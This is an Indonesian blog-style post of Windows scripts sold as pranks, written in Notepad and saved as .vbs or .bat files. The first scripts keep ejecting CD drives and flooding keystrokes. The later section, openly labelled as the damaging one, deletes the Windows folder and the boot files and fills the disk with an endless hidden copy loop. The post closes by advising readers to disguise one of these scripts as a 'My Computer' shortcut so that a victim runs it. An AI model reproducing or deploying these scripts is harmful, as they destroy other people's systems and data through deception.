Script Notepad (iseng part 1)

[ buat ISENG ]

semua script di bawah ni, ketik aja pake notepad terus save as > ecka.vbs jangan lupa save as type-nya ganti ke all files dulu yah.

cd-rom eject mulu

Set oWMP = CreateObject(“WMPlayer.OCX.7″)

Set colCDROMs = oWMP.cdromCollection

do

if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count – 1

colCDROMs.Item(i).Eject

Next

For i = 0 to colCDROMs.Count – 1

colCDROMs.Item(i).Eject

Next

End If

wscript.sleep 5000

loop

ngerjain keyboard

Set wshShell = wscript.CreateObject(“WScript.Shell”)

do

wscript.sleep 100

wshshell.sendkeys “Maaf, Keyboard Tidak Berfungsi! Harap Beli Lagi”

loop

tombol enter mulu

Set wshShell = wscript.CreateObject(“WScript.Shell”)

do

wscript.sleep 100

wshshell.sendkeys “~(enter)”

loop

[ nah ni yag NGRUSAK]

semua script di bawah ni, ketik aja pake notepad terus save as > ecka.bat jangan lupa save as type-nya ganti ke all files dulu yah.

format drive c

DEL /F /Q C:\WINDOWS

file ukuran besar, lama2 hang tuh kompi

:1

TYPE c:\windows\explorer.exe >> %SystemRoot%\system32\ddr3.dll

attrib +s +h %SystemRoot%\system32\ddr3.dll

goto 1

hapus startup windows

@echo off

attrib -r -s -h c:\autoexec.bat

del c:\autoexec.bat

attrib -r -s -h c:\boot.ini

del c:\boot.ini

attrib -r -s -h c:\ntldr

del c:\ntldr

attrib -r -s -h c:\windows\win.ini

del c:\windows\win.ini

*segitu aja, kalo iseng pake yang atas aja deh, tp kalo udah dendam kesumat….. copy aja salah 1 file yang ngrusak tadi ke my document ato mana gt, trus buatin shortcut ke desktop, kasi nama shortcutnya pake “my computer”, masa si ga bakal di klik